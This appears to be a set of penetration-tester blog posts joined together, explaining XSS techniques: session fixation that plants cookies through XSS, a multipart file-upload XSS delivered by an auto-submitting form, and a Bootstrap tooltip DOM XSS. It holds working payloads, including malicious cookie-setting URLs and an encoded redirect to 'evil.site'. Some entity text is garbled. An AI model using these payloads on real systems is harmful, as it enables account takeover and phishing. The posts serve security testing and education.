These days a typical web app pulls in data from background XHR requests, the responses come back in a data format like JSON, and the data is parsed client-side and inserted into the DOM of the page. This means, of course, that the encoding of the data in the response is not sufficient by itself to know whether there’s a potential XSS risk – it depends how the data is finally encoded when inserted into the page. But consider the following:

1. You enter <script>alert(1)</script> hoping for a quick and dirty win – nothing
2. You suspect input validation so you enter something that you hope will pass validation but test encoding, e.g. xss < > test
3. You inspect the page using the browser dev tools and see it has been inserted as xss < > test
4. So the encoding looks good, and you move on -

But wait! Even dangerous DOM manipulation can perform encoding in a text context. For example, innerHTML will observe the rules and, in a text context, will encode < as < and > as > (and & as & in fact), otherwise those characters are inserted/parsed literally. So the encoding seen in step 3 could be explained by this, meaning that the potential for XSS still exists. It’s precisely because jQuery uses innerHTML as part of functions like append() that the documentation is full of caveats about not using data from “untrusted sources”.

Let’s assume the developers haven’t thought about XSS at all. So why did step 1 fail? This is because the spec says “script elements inserted using innerHTML do not execute when they are inserted”. If the first test case had been <img src=x onerror=alert(1)> the XSS would have been revealed in step 1.

Hope that’s of some use!

The problem

The application used a bespoke session management cookie. I’ll call it MYSESSIONID. On login, it wasn’t renewed. I couldn’t push a session cookie onto the victim in a classic session fixation attack. However, I had XSS in an unauthenticated page – but not the login page. The filtering in place used a combination of removal and encoding. Characters that were stripped out included:

+ ; ( ) ? < >

Characters that were allowed included:

" ' = [ ] / , .

So even though MYSESSIONID wasn’t protected with the HttpOnly flag, I just couldn’t construct a payload to steal it. Instead I looked to set one of my own. Here’s a breakdown of the attack:

1. Get a valid cookie

The application did not accept arbitrary session management cookies so the attacker sends a request to get a valid one. In this case, simply having no MYSESSIONID wasn’t enough, the cookie had to be present but an invalid value did the trick:

Cookie: MYSESSIONID=aaaaaaaaaaaaaaaaaaa:xx01

returned

Set-Cookie: MYSESSIONID=NDnQrZ6JsMHyJTBCw8n:xx01; Path=/; Domain=.example.com

2. The XSS

The malicious link looked something like this (the highlighted bits are explained below):

https://www.example.com/app/folder/page?vuln=foo"%0adocument.cookie%3d"MYSESSIONID%3dNDnQrZ6JsMHyJTBCw8n:xx01:%0dpath%3d/app/

When clicked, the XSS flaw wrote the following to the return page inside a JavaScript code block:

var a = "foo"
document.cookie="MYSESSIONID=NDnQrZ6JsMHyJTBCw8n:xx01:
path=/app/";

The %0a at the front of the XSS payload was used to start a new line and this was sufficient to act as a statement terminator after var a = "foo" (semi-colons were being stripped). But in order to inject a path attribute (discussed below) I did need a semi-colon in the cookie string. By running every character through a Burp Intruder attack, I saw which characters were allowed, which were stripped and which were returned encoded. By inserting :%0d into the XSS payload :
 was returned – yes, %0d was encoded but %0a (used above) came back fine! Being inside a string inside a JavaScript block 
 wasn’t seen as an HTML entity by the browser and thus wasn’t interpreted. This provided the semi-colon needed to create a path attribute.

The colon at the front was used because it looked like the session cookie was delimited in that way. That “xx01″ might refer, for example, to an internal server for load-balancing. Anyway, whatever it did, the application tolerated the unusual suffix to the session cookie. So that explains the :%0d appended to the cookie value in the XSS payload. Now for the path%3d/app/…

3. The victim logins in

So, at this point, the attacker has set the MYSESSIONID cookie on the victim to be NDnQrZ6JsMHyJTBCw8n:xx01:&#13 via a reflected XSS attack. Now the victim goes to the login page at https://www.example.com/app/login or is bounced there by navigating to a part of the site that enforces authentication. At login two MYSESSIONID cookies are passed up. This is because one had been set earlier in a Set-Cookie response header the first time the victim hit the site, even if that was by visiting the XSS’ed page. The genuine MYSESSIONID has a path of / and a domain of .example.com. If I had set a cookie by XSS with no attributes my cookie would have had a path of /app/folder/ (to match the path of the page which set the cookie) and a domain of www.example.com (to match the domain of said page). This would mean my cookie would never be sent up to /app/login for authentication, hence the need to set a path as part of the XSS.

Furthermore, when two MYSESSIONID values were sent up, the application took the first value so I had to make sure my cookie was first. By setting a path of /app/, it trumped the real MYSESSIONID for having a better path match to /app/login. Thus it was listed first in the POST request with the credentials and became authenticated:

Cookie: MYSESSIONID=NDnQrZ6JsMHyJTBCw8n:xx01:
 MYSESSIONID=4GRc4jiKNeQIfsqh2:xx01

In contrast, the domain of a cookie does not govern precedence in a standardised way, it varies between browser. From memory I think my cookie (with a more specific domain match) was sent up first by IE but second by Chrome and Firefox. It’s not something you want to rely on. Neither could I overwrite the cookie because for that to happen the name, path and domain must match. That would mean having to change both attributes from their defaults but in this case I could only change one. This is because I’d need a second semi-colon to set a second attribute and in doing so, using the encoding trick above, the first attribute would be spoilt, e.g. I’d get

var a = "foo"
document.cookie="MYSESSIONID=NDnQrZ6JsMHyJTBCw8n:xx01:
path=/app/
domain=.example.com";

Developing this proof-of-concept for this specific injection point was quite fiddly and took some persistence but it was worth it. For all of their filtering – and because they did not change the session cookie after authentication – this was a nice practical attack using an unauthenticated XSS. One take-away thought then: be sure to probe the XSS defences in full because you never know what might come back and how it could be of help!

As long as an attacker can remotely force the victim to use a known session cookie that becomes authenticated, you’ve found session fixation, but it’s one of those flaws that can be achieved in multiple ways that are subtly different from one another. In this particular instance the session fixation attack ran like this:

1. The attacker makes up a session cookie

Yes, the application accepted client-generated cookies.

2. The attacker makes a specific request using the fabricated cookie

This was a bit odd but if the session cookie from a request was not recognised by the application (whether it was made up or, more usually, it had just been set by the previous response page) then a background XHR request was made that effectively “authorised” the cookie. Okay, whatever, so the attacker does this.

3. The login page suffered from XSS so the attacker crafts a malicious link to set the known cookie on the victim.

The malicious link was something like this (I’ve removed the URL-encoding to make it easier to read):

https://www.example.com/login?param="><script>document.cookie="PHPSESSID=attackerCookie; path=/login; expires=Tue, 06-Aug-2024 00:00:01 GMT"</script>

In more “traditional” session fixation the attacker’s cookie is a parameter in the request that the attacker tricks the victim into making, so using XSS seems a bit like cheating. Unfortunately (for me) the application didn’t accept a session cookie in the “traditional” way and XSS was my only option. OWASP does credit XSS in its description of session fixation but, that aside, not only did XSS help the session fixation attack but the session fixation flaw helped the XSS attack…One reason for this was that a simple document.cookie session hijack through XSS was restricted by the response to the above request:

Set-Cookie: PHPSESSID=serverCookie; path=/; secure; HttpOnly

Because of the httponly flag, the XSS payload could not pull out the session cookie and send it to the attacker. Of course, many other interesting XSS options are still possible, such as rewriting the form’s action attribute so that the login credentials would be sent to the attacker. However, one advantage of the session fixation approach (apart from the interest of seeing it working) is that nothing is sent to the attacker. Furthermore, as I’ll explain later (and you may have already spotted from the XSS payload) this attack has the potential to be more long-term than knowing the username and password.

The httponly flag has another effect: the XSS payload can neither read it nor overwrite it. This behaviour isn’t standardised, it’s one of those grey areas that Michal Zalewski covers so well but in this case it’s not so grey. IE 10, Chrome 37 and Firefox 30 all behaved in the same way. But you might have noticed that the XSS payload included a path of /login when it set the session cookie. This is where the attacker wins as now the browser doesn’t see this as an overwrite but as a different cookie altogether…

4. The victim logs in and the session cookie becomes authenticated

The server-generated session cookie included a path=/ directive so when the victim logs in to /login the attacker’s cookie has precedence (in that it’s listed first) because the path is a more specific match to the target page:

Cookie: PHPSESSID=attackerCookie; PHPSESSID=serverCookie

The application processed the first cookie with the login, thus the attacker’s fabricated cookie became authenticated and was associated with the victim’s account. Of course if the session cookie had been changed after authentication, which is best practice, the attack would have failed. Note that the attacker can also set the domain attribute of the cookie to .example.com to try to widen the impact of the attack.

5. The attacker uses the known session cookie to masquerade as the victim

The last thing to mention is the long-term nature of this attack. Although logging off did detach the session cookie from the victim’s account, leaving it unauthenticated, the application did not clear it (again, best practice). So the next time the website is visited, the attacker’s session cookie will again be offered, accepted and authenticated. Because the XSS payload effectively makes the cookie permanent by setting a long expiry date, the attacker has access to the account of anyone that logs in using the compromised browser in the future. Of course, the persistence of the attack dies as soon as the browser’s cookie cache is cleared – but how often does that happen? For what is, after all, a reflected XSS attack, you’d be certain to get a good return. Indeed, if the browser is shared among users (e.g. at home or at internet kiosks), a single XSS attack can exploit multiple users of the website, making it a one-to-many attack, which you don’t tend to associate with reflective XSS.

I’m not claiming any of this is particularly novel, by the way. I just enjoyed finding the XSS path trick for myself and using it with session fixation to poke fun at httponly and to create a more persistent version of a reflective XSS attack. It also demonstrated that best practice points, although seemingly trivial when taken alone, can help to stop or mitigate more complex attacks.

XSS in multipart/form-data

An example of a malicious payload contained something like:

Content-Disposition: form-data; name="file"; filename="test.<img src=a onerror=alert(1)>"

This produced a response that included:

File Upload failed: "File extension '<img src=a onerror=alert(1)>'

Of course, normally reflective XSS in POST is exploited by a form that auto-submits through JavaScript. But this one was a bit trickier – how can you replicate the multipart/form-data structure? When you begin to experiment with this you soon find some difficulties – for example, submitting a filename when no file was actually chosen by the victim user. An XHR request could compose the request but then you run into the Same Origin Policy. In this case there was no wide-open CORS policy to allow me to process the response from the request. Besides which, this wouldn’t allow me to run script in the context of the target domain in the usual way of XSS; it merely allows me access to the response, which restricts the impact.

I finally found a big hint courtesy of a CSRF article here. My proof of concept payload was as follows:

<form name="xss" method="post" action="http://domain.site/upload.page" enctype="multipart/form-data">
<textarea name='file"; filename="test.<img src=a onerror=alert(1)>'>
File Contents Didn't Matter Here
</textarea>
<input name="action" value="fileupload"/>
<input type="submit" name="" value="" size="0" />
</form>
<script>document.xss.submit();</script>

This produced the following POST body:

-----------------------------7de21b3079c
Content-Disposition: form-data; name="file"; filename="test.<img src=a onerror=alert(1)>"

File Contents Didn't Matter Here
-----------------------------7de21b3079c
Content-Disposition: form-data; name="action"

fileupload
-----------------------------7de21b3079c--

Note how the filename attribute of the request is sneaked in by means of the form’s textarea name. The request is missing the normal multipart/form-data Content-Type header but I didn’t need it so I didn’t pursue that any further.

And now for the caveats! I tried this on Chrome, Firefox and IE10 and it only worked on IE – the other two added escape characters that broke the payload. Also, you may be thinking “why the img onerror? Why not good old <script>…</script>?” The / character caused issues – presumably because it was interpreted as a delimiter for directories (remember, this is a file upload page). The \ character posed similar issues. And so did ‘ for obvious reasons – it terminates the textarea name value too early. A ” was fine so long as it was injected as \”. Finally a . was treated as an extension delimiter so everything to the left of the right-most . was lost in the response (because the error returned the extension, not the full filename). So what does all that mean for a more interesting payload?

alert(1) is lame

I always try to put something of value in a XSS payload and alert(1) shows nothing. Even alert(document.cookie) proves that JavaScript can access session cookies when they’re not HttpOnly. But with / \ ‘ and . being consumed by the page, what could I do? I got into an email conversation with two NCC colleagues, Gareth and Soroush (@irsdl), and after some to-ing and fro-ing they came up with:

<textarea name='file"; filename="test.<img src=a onerror=document&amp;#46;location&amp;#61;&amp;#34;http:&amp;#47;&amp;#47;evil&amp;#46;site&amp;#34;>'>

The browser decodes this once (&amp; becomes &) to send:

Content-Disposition: form-data; name="file"; filename="test.<img src=a onerror=document&#46;location&#61;&#34;http:&#47;&#47;evil&#46;site&#34;>"

Back comes the HTTP response with:

<img src=a onerror=document&#46;location&#61;&#34;http:&#47;&#47;evil&#46;site&#34;>

Which decodes to:

<img src=a onerror=document.location="http://evil.site">

And this of course redirects the browser immediately to evil.site, where some kind of exploitation or phishing could be undertaken. Job done.

This was one of the trickiest XSS injections I have come across. Hopefully you found something new here and you can add a couple of new XSS payloads to your arsenal.

To illustrate the point I’ve written a vulnerable page. What, it’s vulnerable to XSS? Yes. Do you know what you’re doing? I hope so. Here’s the brief:

• Try to create a DOM-based XSS condition that runs <script>alert(1)</script>.
• Don’t bother trying to inject any other kind of script – it won’t work and the result may throw you. If it does work, I run a white-hat vulnerability programme – sorry, no bounty, just my thanks and a credit on the page
• Getting the alert box to pop up shouldn’t be hard at all – what’s more interesting is to spot the Bootstrap implementation error. When you view the source, note the comment on line 22 to ignore the indented lines (23-26 and 28) – that’s the code that should be protecting the page from arbitrary XSS.
• The page is here.

Discussion

I’m assuming you’ve had a look at the page above. The Bootstrap JavaScript plugin allows you to use “tooltips” (information shown on mouseover) that write into the DOM. Because of this, you can create more advanced tooltips by writing HTML code into the DOM. This is when the alarm bells should sound. In my page the email address, when invalid, is coloured red. But because the email address is under user control and can be pre-populated in the query string, there’s a DOM-based XSS condition, e.g. http://exploresecurity.com/wp-content/uploads/custom/bootstrap-dom-xss.html?email=<script>alert(1)</script>, which will fire when the victim hovers over the email address.

To get HTML inserted by a tooltip you need to set the attribute data-html="true". The default is false, which means the content is encoded before insertion into the page. But if you want to add some markup, such as changing the colour, you’ll need to set it to true. In this case if any part of the content is user-supplied, it needs to be handled safely.

The XSS risk is clearly stated in the documentation but that doesn’t mean mistakes won’t be made. In the test that prompted this article, the data-html attribute was set to true everywhere, even when the content being displayed was straight text. Of course, no harm in that case – but in a few places the content was dynamic. Sadly (for me) this content was not under user control.

Conclusion

Developers and penetration testers may assume that popular and big-name libraries like Bootstrap (especially the latest version) are safe but this article shows that it depends on how they’re being used. As a penetration tester, watch out for client-side code that modifies the page and research the (potentially) dangerous options in popular third-party libraries (look out for that data-html attribute!). As a developer, it’s all about (as ever) handling user-supplied content safely – and this article emphasises that you can’t always rely on third-party libraries to do everything for you. With great power comes great responsibility.